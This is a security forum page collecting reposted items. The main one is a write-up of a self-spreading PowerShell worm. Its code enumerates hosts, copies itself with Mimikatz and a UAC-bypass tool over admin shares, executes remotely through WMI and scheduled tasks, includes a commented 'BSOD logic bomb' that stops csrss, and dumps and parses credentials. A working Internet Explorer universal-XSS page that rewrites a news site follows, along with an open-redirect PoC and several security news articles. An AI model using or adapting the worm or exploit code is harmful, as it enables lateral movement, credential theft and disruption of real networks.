Search the Community

.....................

TL;DR: Another Powershell Worm here. Recently, I was approached with a few ideas about worms to test the potential to detect/stop such. This, and reading some interesting posts about PowerShell based worm(s), pushed me to attempt to build a worm with a slightly different take. One of the requirements of this worm is to propagate without certainty of an external connection or not to the internet. This is important if the worm is to jump across an airgap’d network somehow or if the command and control is severed. Also, attempting to dump creds and setting some sort of persistence would be a plus. Lastly, the whole thing (or as much as possible) should be written in powershell, so the option of base64 encoding it and running it in memory is present. Target enumeration This is a pick your own adventure technique. First, the worm will need to identify potential targets to spread to. The worm uses 3 techniques (others may exist) to enumerate targets: Dump domain hosts grab local class C grab IPs from netstat As annotated in an earlier post, we can cycle domain hosts pretty easily if we are logged into a domain via: function getDomain { $final = @() #get Domain computers $strCategory = "computer" $objDomain = New-Object System.DirectoryServices.DirectoryEntry $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearcher.SearchRoot = $objDomain $objSearcher.Filter = ("(objectCategory=$strCategory)") $colProplist = "name", "cn" foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} $colResults = $objSearcher.FindAll() foreach ($objResult in $colResults) { $objComputer = $objResult.Properties $bleh = $objComputer.name $final += $bleh } return $final } But what if the victim host isn’t a part of a domain? This will fail, so error handling will be useful here (see final version at the top of the page). The next attempt to enumerate hosts is a class c brute force. To set this up, the worm needs to know the current IP address of the machine we are on, a la: $enum = Get-WMIObject win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true } | Foreach-Object { $_.IPAddress } | Foreach-Object { [IPAddress]$_ } | Where-Object { $_.AddressFamily -eq 'Internetwork' } | Foreach-Object { $_.IPAddressToString } Then, the worm parses the first 3 octets and runs through a for loop (assumes /24 at the moment): function getClassC{ Param($ip); $final = @() $classC = $ip.Split(".")[0]+"."+$ip.Split(".")[1]+"."+$ip.Split(".")[2] for($i=1; $i -lt 255; $i++) { $final += $classC + $i.ToString() } return $final } Lastly, the worm will try a netstat “hail mary”: #//netstat mode $n = netstat -ano foreach ($n2 in $n) { $n4= $n2.Split(" ") foreach ($n3 in $n4) { $n5 = $n3.Split(":")[0] if (($n5.Length -gt 7) -and ($n5.Length -lt 22)) { if (!( ($n5 -eq "0.0.0.0") -or ($n5 -eq $ip) -or ($n5 -eq "127.0.0.1") ) ) { if ($n5.Contains(".")) { Write-Host $n5 $final += $n5 } } } } } Spreading technique In the testing environment, we were able to spread using the various techniques, but for simplicity we will discuss PsDrive (additional techniques may be used). The credentials used to run the worm as (or lack thereof) will dictate what is available. PsDrive can set up a powershell accessible share much like net share, except that this share is only viewable in powershell! Screenshot of successfully created PS-Drive that does not show up under net use. Here, the worm sets up the PsDrive to copy files over, moves the files to the destination (via C$ in our example, but others shares may exist): $prof = "USERPROFILE" $profile = (get-item env:$prof).Value +"\Downloads" $pro1 = $profile.SubString(3, $profile.Length-3) $psdrive = "\\"+$nethost+"\C$\"+ $pro1 New-PsDrive -Name Y -PsProvider filesystem -Root $psdrive Next, the worm (and any additional scripts) are copied over: Copy-Item $profile\PowerW0rm.ps1 Y:\PowerW0rm.ps1 Copy-Item $profile\PowerW0rm.mof Y:\PowerW0rm.mof Copy-Item $profile\Invoke-Mimikatz.ps1 Y:\Invoke-Mimikatz.ps1 Copy-Item $profile\bypassuac-x64.exe Y:\bypassuac-x64.exe Finally, since this code is running in a loop, the worm removes the PsDrive: Remove-PsDrive Y Code Execution By default in a Windows 7/Server 2008 R2 environment, Remote Powershell isn’t enabled by default. However, other options do exist depending on access level and GPO settings. The worm uses two methods of code execution: schtasks and Invoke-WMIMethod (others will exist, such as Invoke-Command). Some of the examples can be found below: $run = "powershell -exec Bypass "+$profile+"\\PowerWorm.ps1" $task = $profile+"\\bypassuac-x64.exe /C powershell.exe -exec Stop-Process csrss" # BSOD for a logic bomb #run with dump creds Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred -Impersonation Impersonate -ArgumentList $run #run as current user Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $run #schtask example schtasks /CREATE /S $nethost /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F #scheduled for the 1st of the year @ 00:01 AM schtasks /RUN /TN "update54" #Runs task immediately (kills worm, but just PoC) schtasks /DEL /TN "update54" #would never run in this context, but is an example Credential Harvesting The worm uses a call to Invoke-Mimikatz.ps1 from the PowerSploit project to dump and parse creds as it jumps from machine to machine. This is achieved will a slight modification to the very end of Invoke-Mimikatz.ps1: $creds = Invoke-Mimikatz -dumpcreds Write-Host $creds The worm first calls Invoke-Minikatz: #try to grab creds $scriptPath = split-path -parent $MyInvocation.MyCommand.Definition $scriptPath = $scriptPath + "\Invoke-Mimikatz.ps1 -dumpcreds" $creds = "powershell.exe -exec Bypass " + $scriptPath $creds_str = runCMD $creds Followed by some nifty regex to extract just username and password from output: $creds_regex= @" .*\*\sUsername.* .*\*\sDomain.* .*\*\sPassword.* "@ $creds_str = $creds -replace " ", "`r`n" $cred_store = @{} $found = new-object System.Text.RegularExpressions.Regex($creds_regex, [System.Text.RegularExpressions.Regexoptions]::Multiline) $m=$found.Matches($creds_str) And finally, some last minute parsing which trims the strings to exactly what is needed: function parsed() { Param([string]$str1) $p1 = $str1 -split '[\r\n]' $parse=@() for ($j=0; $j -lt 3; $j++) { $num = $j*2 $p2 = $p1[$num].split(":") #Write-Host $j "," $num "," $p2 $p3 = $p2[1] $parse+= , $p3 } return $parse } Additional thoughts At the top of the post, as well as here, is a link for the complete PoC PowerWorm.ps1. It works well on Vista/7, but there seem to be a few bugs trying run this against XP/8 (due to an error with Invoke-Mimikatz). I used something very similar after gaining domain admin credentials, then began laterally moving in an environment where psexec/winrm/pass-the-hash tricks did not seem to work. I did have some issues (duh) with this worm hammering the DC because there is no check in place to see if the worm had already ran on a host, and the DC is the first host in the domain hosts array! The fix for this issue is left as an exercise for the reader. Also, this script could be easily modified to roll out other files/scripts/binaries across a domain automatically-which I also did trying to push traffic generation scripts for testing at a later date, but that story is for another post. Source: https://khr0x40sh.wordpress.com/2014/11/13/powershell-worm/

# Affected software: kunstmaan cms # Type of vulnerability: redirect vulnerability # URL: bundles.kunstmaan.be # Discovered by: Provensec # Website: http://www.provensec.com #version: not specified on domain # Proof of concept http://demo.bundles.kunstmaan.be/en/admin/media/delete/9?redirectUrl=http://google.com Source

#Type of vuln : Flash Cross Domain Policy #Target : www.*.nokia.com #Author : KRONZY #P.O.C : #References : 1. https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_%28OTG-CONFIG-008%29 2. CWE - CWE-942: Overly Permissive Cross-domain Whitelist (2.8) 3. https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2227 Raportata. , low level.

Microsoft has blacklisted a phony SSL certificate that’s been making the rounds and is in the process of warning the general public that the certificate could be leveraged to stage man-in-the-middle attacks. In a security advisory published yesterday the company stressed that an improper certificate for the domain “live.fi” could also be used to spoof content or carry out phishing attacks, but stopped short saying it could issue other certificates, impersonate other domains, or sign code. The certificate, which corresponds to one of the company’s Live entities, was revoked by its issuer, certificate authority Comodo, and Microsoft has updated its Certificate Trust List (CTL) to reflect the instability. The company maintains an often in-flux Certificate Trust List as a running tally of trusted entities that are rooted to verifiable certificates. Microsoft blamed the botched certificate on a misconfigured privileged email account on the live.fi domain. It sounds like unauthorized third party was able to register an email account on the domain with a “privileged username,” and in turn used it to request a bogus certificate for live.fi. In a FAQ on its site, Comodo claims that all of its certificates must pass through Domain Control Validation (DCV) before they’re issued. It appears the aforementioned third party used an email (admin@, administrator@, postmaster@, etc.) to prove ownership of the domain and subsequently the certificate. Windows 8, 8.1, RT, RT 8.1, Server 2012 and Server 2012 R2 all contain an automatic updater that takes note of revoked certificates. The company warns that users who either opt not to run that automatic updater or run older setups, including Server 2003, should run the manual update KB2917500 to blacklist the certificate. It’s expected both Google Chrome and Mozilla Firefox will block the certificate over the next several days or so. In the very near future Firefox is expected to loop in a new feature, OneCRL, that will supersede the dated Online Certificate Status Protocol (OCSP) and improve upon the process in which the browser reviews and revokes certificates. Source

Google leaked the complete hidden whois data attached to more than 282,000 domains registered through the company's Google Apps for Work service, a breach that could bite good and bad guys alike. The 282,867 domains counted by Cisco Systems' researchers account for 94 percent of the addresses Google Apps has registered through a partnership with registrar eNom. Among the services is one that charges an additional $6 per year to shield from public view all personal information included in domain name whois records. Rather than being published publicly, the information is promised to remain in the hands of eNom except when it receives a court order to turn it over. Starting in mid 2013, a software defect in Google Apps started leaking the data, including names, phone numbers, physical addresses, e-mail addresses, and more. The bug caused the data to become public once a domain registration was renewed. Cisco's Talos Security Intelligence and Research Group discovered it on February 19, and five days later the leak was plugged, slightly shy of two years after it first sprung. Whois data is notoriously unreliable, as is clear from all the obviously fake names, addresses, and other data that's contained in public whois records. Still, it's reasonable to assume that some people might be more forthcoming when using a supposedly privacy-enhancing service Google claimed hid such data. Even in cases where people falsified records, the records still might provide important clues about the identities of the people who made them. Often when data isn't pseudo-randomized, it follows patterns that can link the creator to a particular group or other Internet record. As Cisco researchers Nick Biasini, Alex Chiu, Jaeson Schultz, Craig Williams, and William McVey wrote: Google began warning Google Apps customers of the breach on Thursday night. An official e-mail reads: It's not particularly easy for the uninitiated to get bulk access to the 282,000 whois exposed records, especially now that two weeks have passed since the data has once again been hidden. Registrars make it difficult to download mass numbers of records, but as the Cisco researchers point out, the falsified data is now a permanent part of the Internet record that won't be hard for determined people to find. It wouldn't be surprising if now-hidden records begin selling in the black market soon. Google's breathtaking failure is a potent reminder why in most cases people do well to provide false information when registering for anything online. In some cases, accurate information is required. More often than not, things work fine with fields left blank or filled in with random characters. It's hard to know just how many people will be bitten by this epic blunder, but even if it's only 10 percent of those affected, that's a hell of a price. Update: A Google spokesman said the bug resided in the way Google Apps integrated with eNom's domain registration program interface. It was reported through Google's Vulnerability Rewards Program. The spokesman said the root cause has been identified and fixed. Source

The Angler Exploit Kit continues to evolve at an alarming rate, seamlessly adding not only zero-day exploits as they become available, but also a host of evasion techniques that have elevated it to the ranks of the more formidable hacker toolkits available. Researchers at Cisco’s Talos intelligence team today reported on a technique used in a recent Angler campaign in which attackers are using stolen domain registrant credentials to create massive lists of subdomains that are used in rapid-fire fashion to either redirect victims to attack sites, or serve as hosts for malicious payloads. The technique has been called domain shadowing, and it is considered the next evolution of fast flux; so far it has enabled attackers to have thousands of subdomains at their disposal. In this case, the attackers are taking advantage of the fact that domain owners rarely monitor their domain registration credentials, which are being stolen in phishing attacks.They’re then able to create a seemingly endless supply of subdomains to be used in additional compromises. “It’s one thing that people just don’t do,” said Craig Williams, security outreach manager for Cisco Talos. “No one logs back into their registrant account unless they are going to change something, or renew it.” Researchers Nick Biasani and Joel Esler wrote that Cisco has found hundreds of compromised accounts—most of them GoDaddy accounts—and control up to 10,000 unique domains. “This behavior has shown to be an effective way to avoid typical detection techniques like blacklisting of sites or IP addresses,” Biasini and Esler said. “Additionally, these subdomains are being rotated quickly minimizing the time the exploits are active, further hindering analysis. This is all done with the users already registered domains. No additional domain registration was found.” Cisco said the campaign began in earnest in December, though some early samples date back to September 2011; more than 75 percent of subdomain activity, however, has occurred since December. There are multiple tiers to the attack, with different subdomains being created for different stages. The attacks start with a malicious ad redirecting users to the first tier of subdomains which send the user to a page serving an Adobe Flash or Microsoft Silverlight exploit. The final page is rotated heavily and sometimes, those pages are live only for a few minutes, Cisco said. “The same IP is utilized across multiple subdomains for a single domain and multiple domains from a single domain account,” Biasini and Esler wrote. “There are also multiple accounts with subdomains pointed to the same IP. The addresses are being rotated periodically with new addresses being used regularly. Currently more than 75 unique IPs have been seen utilizing malicious subdomains.” Domain shadowing may soon supercede fast flux, a technique that allow hackers to stay one step ahead of detection and blocking technology. Unlike fast flux, which is the rapid rotation of a large list of IP addresses to which a single domain or DNS entry points, domain shadowing rotates in new subdomains and points those at a single domain or small group of IP addresses. “When you think about it, this is likely the next evolution of fast flux. It allows attackers an easy way to come up with domains they can use in a short amount of time and move on,” Williams said. “It doesn’t cost them anything and it’s tough to detect because it’s difficult to use blocklisting technology to defend against it. It’s not something we’ve observed before.” The attackers have zeroed in almost exclusively on GoDaddy accounts since the registrar is by far the biggest on the Internet; for now, that is the only commonality to the attacks carried out in this Angler campaign, Cisco said. “The accounts are largely random so there is no way to track which domains will be used next. Additionally, the subdomains are very high volume, short lived, and random, with no discernible patterns,” Biasini and Esler wrote. “This makes blocking increasingly difficult. Finally, it has also hindered research. It has become progressively more difficult to get active samples from an exploit kit landing page that is active for less than an hour. This helps increase the attack window for threat actors since researchers have to increase the level of effort to gather and analyze the samples.” Williams, meanwhile, warns that as security technologies catch up to domain shadowing, there is a risk that mitigations could impact legitimate traffic. “If the block list is made incorrectly, it could block both bad and legitimate traffic and harm an innocent victim,” Williams said. “If you know an attacker has credentials, you could make the case to block everything associated with a domain. That could also block the legitimate domain.” Source

<title>insider3show</title> <body style="font-family:Georgia;"> <h1>insider3show</h1> <iframe style="display:none;" width=300 height=300 id=i name=i src="1.php"></iframe><br> <iframe width=300 height=100 frameBorder=0 src="http://www.dailymail.co.uk/robots.txt"></iframe><br> <script> function go() { w=window.frames[0]; w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1); } setTimeout("go()",1000); </script> <b>Summary</b><br> An Internet Explorer vulnerability is shown here:<br> Content of dailymail.co.uk can be changed by external domain.<br> <br> <b>How To Use</b><br> 1. Close the popup window("confirm" dialog) after three seconds.<br> 2. Click "Go".<br> 3. After 7 seconds, "Hacked by Deusen" is actively injected into dailymail.co.uk.<br> <br> <b>Screenshot</b><br> <a href="screenshot.png">screenshot.png</a><br> <br> <b>Technical Details</b><br> Vulnerability: Universal Cross Site Scripting(XSS)<br> Impact: Same Origin Policy(SOP) is completely bypassed<br> Attack: Attackers can steal anything from another domain, and inject anything into another domain<br> Tested: Jan/29/2015 Internet Explorer 11 Windows 7<br> <br> <h1><a href="http://www.deusen.co.uk/">www.deusen.co.uk</a></h1><script type="text/javascript"> //<![CDATA[ try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:0,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok3v=1613a3a185/"},atok:"6e87366c9054a61c3c7f1d71c9cfb464",petok:"0fad4629f14e9e2e51da3427556c8e191894b109-1422897396-1800",zone:"deusen.co.uk",rocket:"0",apps:{}}];CloudFlare.push({"apps":{"ape":"9e0d475915b2fa34aea396c09e17a7eb"}});!function(a,{a=document.createElement("script"),b=document.getElementsByTagName("script")[0],a.async=!0,a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok3v=919620257c/cloudflare.min.js",b.parentNode.insertBefore(a,}()}}catch(e){}; //]]> </script> Source

A critical cross-site scripting (XSS) vulnerability in the Google Apps administrator console allowed cyber criminals to force a Google Apps admins to execute just about any request on the https://admin.google.com/ domain. The Google Apps admin console allows administrators to manage their organization’s account. Administrators can use the console to add new users, configure permissions, manage security settings and enable Google services for your domain. The feature is primarily used by many businesses, especially those using Gmail as the e-mail service for their domain. The XSS flaw allowed attackers to force the admin to do the following actions: Creating new users with "super admin" rights Disabling two-factor authentication (2FA) and other security measures from existing accounts or from multiple domains Modifying domain settings so that all incoming e-mails are redirected to addresses controlled by the attacker Hijack an account/email by resetting the password, disabling 2FA, and also removing login challenges temporarily for 10 minutes This new zero-day vulnerability was discovered and privately reported by application security engineer Brett Buerhaus to Google on September 1 and the company fixed the flaw within 17 days. In exchange for the report, Google paid the researcher $5,000 as a reward under its bug bounty program. According to the researcher, when users access a service that hasn’t been configured for their domain, they are presented with a "ServiceNotAllowed" page. This page allows users to switch between accounts in order to log in to the service. However, when one of the accounts was selected, a piece of JavaScript code was executed in an attempt to redirect the user’s Web browser. JavaScript code could be supplied by the user in the "continue" request parameter of the URL, which allowed XSS attacks. Patching the vulnerability on the 17th day after reported to the company shows the search engine giant’s concern to secure its software and users as well. However, the recent vulnerability troubles visited Microsoft exposed one-after-one three serious zero-day vulnerabilities in Windows 7 and 8.1 operating systems, reported by Google’s Project Zero team. Microsoft wasn't able to fix the security flaws in its software even after a three-month-long time period provided to the company. Source

Domain registrar GoDaddy yesterday patched a cross-site request forgery vulnerability that could have allowed an attacker to change domain settings on a site registered with GoDaddy. The flaw was reported on Saturday and patched within 48 hours, according to Dylan Saccomanni, a web application security researcher and penetration testing consultant in New York. “This vulnerability lies in GoDaddy domain settings (not account settings). If you go to ‘Domains’ when you log into GoDaddy, you’ll be presented with various options and settings you can edit for the specific domain you chose,” Saccomanni said. “That is where this issue is.” Cross-site request forgery is a chronic web application vulnerability, right up there with cross-site scripting and others that continue to stand in the way of secure development. CSRF works when a user authenticated to a web application or domain is forced by a hacker to make state-changing requests, including administrative requests in this case. The attacker, however, would have to combine this with some form of social engineering scam in order to lure the victim to their site hosting the attack. “It wouldn’t be difficult to exploit at all,” Saccomanni said. “The attacker would have a victim fill out a very professional looking form (maybe not even relating it to GoDaddy at all), and have the form perform a GoDaddy domain settings change request while they’re logged in. He could do this at scale, attracting GoDaddy users to his site, betting they’ll be logged in.” “It wouldn’t be difficult to exploit at all.” -Dylan Saccomanni Saccomanni said he discovered the vulnerability Saturday when looking at an old domain in GoDaddy, noticing a lack of cross-site request forgery protection on GoDaddy DNS management actions. Saccomanni said there was no CSRF token present in request body or headers, and no enforcement of Referrer. This lack of protection would give an attacker the ability to edit nameservers, change auto-renew settings and edit the zone file. “A user could have a domain de facto taken over in several ways. If nameservers are changed, an attacker changes the domain’s nameservers (which dictates what server has control of DNS settings for that domain) over to his own nameservers, immediately having full and complete control,” Saccomanni said. “If DNS settings are changed, he simply points the victim’s domain towards an IP address under his control. If the auto-renew function is changed, the attacker will try to rely on a user forgetting to renew their domain purchase for a relatively high-profile domain, then buy it as soon as it expires.” The #CSRF vulnerability could have allowed an attacker to change domain settings on a site registered with @Godaddy. Saccomanni said he tried many different email addresses associated with security and engineering, as well as customer support in order to report the bug. He said he received no confirmation from GoDaddy that the issue was patched, but yesterday did see protections put in place. A request for comment and confirmation from GoDaddy was not returned in time for publication. “The reply that I received from customer support was that 1. the security email address isn’t being actively monitored for incoming email and 2. thanking me for the feedback, but there was no timeline for a fix,” Saccomanni said, adding that he never found an official security contact with the registrar. “I wish I could give you a security contact because I wish I got one myself, but they didn’t even allow me to try and speak with a security engineer directly, which is a vastly disappointing security posture for a large domain registrar.” Source

Enterprise Active Directory administrators need to be on the lookout for anomalous privileged user activity after the discovery of malware capable of bypassing single-factor authentication on AD that was used as part of a larger cyberespionage campaign against a global company based in London. Hackers already on the company’s network via a remote access Trojan (RAT) deployed what’s being called the Skeleton Key malware used to steal legitimate insider credentials in order to steal company data and exfiltrate it to the outside without raising many red flags. Researchers at Dell SecureWorks would not identify the organization, nor provide any indication on the identity or location of the attackers, other than to say that it was not an “ecrime” operation and some of the documents taken would be of interest to entities on the “Pacific rim.” Skeleton Key purposely lacks persistence, said Dell SecureWorks director of technology Don Smith. It is installed as an in-memory patch on an Active Directory domain controller and will not survive a reboot. Granted, Active Directory domain controllers such as the ones compromised in this attack, are not rebooted all that often. “I don’t think it was a mistake [by the attackers]. The people concerned have the capability of making it persistent,” Smith said. “The lack of persistence characterizes the stealthy nature of this operation. If you make it persistent over a reboot, you have to leave something behind in the registry or elsewhere that will make it restart. This is super stealthy and this minimizes their footprint. They rely on their foothold elsewhere in the network, and jump in every time they need to.” With access to Active Directory, the hackers can secure username-password combinations and use those credentials to remotely carry out the rest of their attack authenticated as legitimate users. In the case of the London firm, they were discovered on the network which used password-only authentication for its webmail and VPN remote access. Once inside, they were able to use credentials stolen from critical servers, admin workstations and domain controllers to drop Skeleton Key anywhere else on the network. Dell SecureWorks posted a number of indicators of compromise and YARA detection signatures in a report published this week. A number of file names were also found associated with Skeleton Key, including one suggesting an older variant of the malware exists, one that was compiled in 2012. Dell SecureWorks also said the attackers, once on the network, upload the malware’s DLL file to an already compromised machine and attempt to access admin shares on the domain controllers using a list of stolen admin credentials. If the credentials don’t work, they deploy password-stealing tools to extract admin passwords from memory of another server, the domain admin’s workstation or the targeted domain controllers, Dell SecureWorks said. With access to the controller, Skeleton Key’s DLL is loaded and the attackers use the PsExec utility to remotely inject the Skeleton Key patch and run the malware’s DLL remotely on the target domain controllers. The attackers then use a NTLM password hash to authenticate as any user. The lack of persistence isn’t the only perceived weakness associated with Skeleton Key. Its deployment caused AD domain controller replication issues in regional offices that required a reboot. The frequent reboots were an indication that the attackers were re-implanting Skeleton Key, Smith said, which along with the presence of PsExec or TaskScheduler are other anomalous privileged user activities to be on the lookout for. “This was from about just collecting passwords. Once they injected the hash, they could then walk up to any machine in the network, give any user name and their password and get in,” Smith said. “The bad guys used remote access to authenticate at will. I think that characterizes this attack as a long-running cyberespionage operation. There is a lot of information in the victim organization they’re looking for, and they want to maintain as low a profile as possible to evade discovery. All the espionage activity is carried out as an ordinary user. The challenge as a defender is the need to look for anomalous user behavior, which isn’t all that simple a task.” Source

Vand urmatoarele 3 domenii: (Fara probleme de copyright sau blackmarked de vreun search engine) 1. htpp://vigipay.com/ cu logo inclus: http://s7.postimage.org/pw6w858ah/vigipay.png (Professionally made 100% no copyright intended 100% unique) 2. runepost.com 3. vifed.com Le vand pe toate trei la un pret rezonabil via Western Union sau PayPal (aici mai discutam, o sa doresc mai multe detalii despre dumneavoastra.) .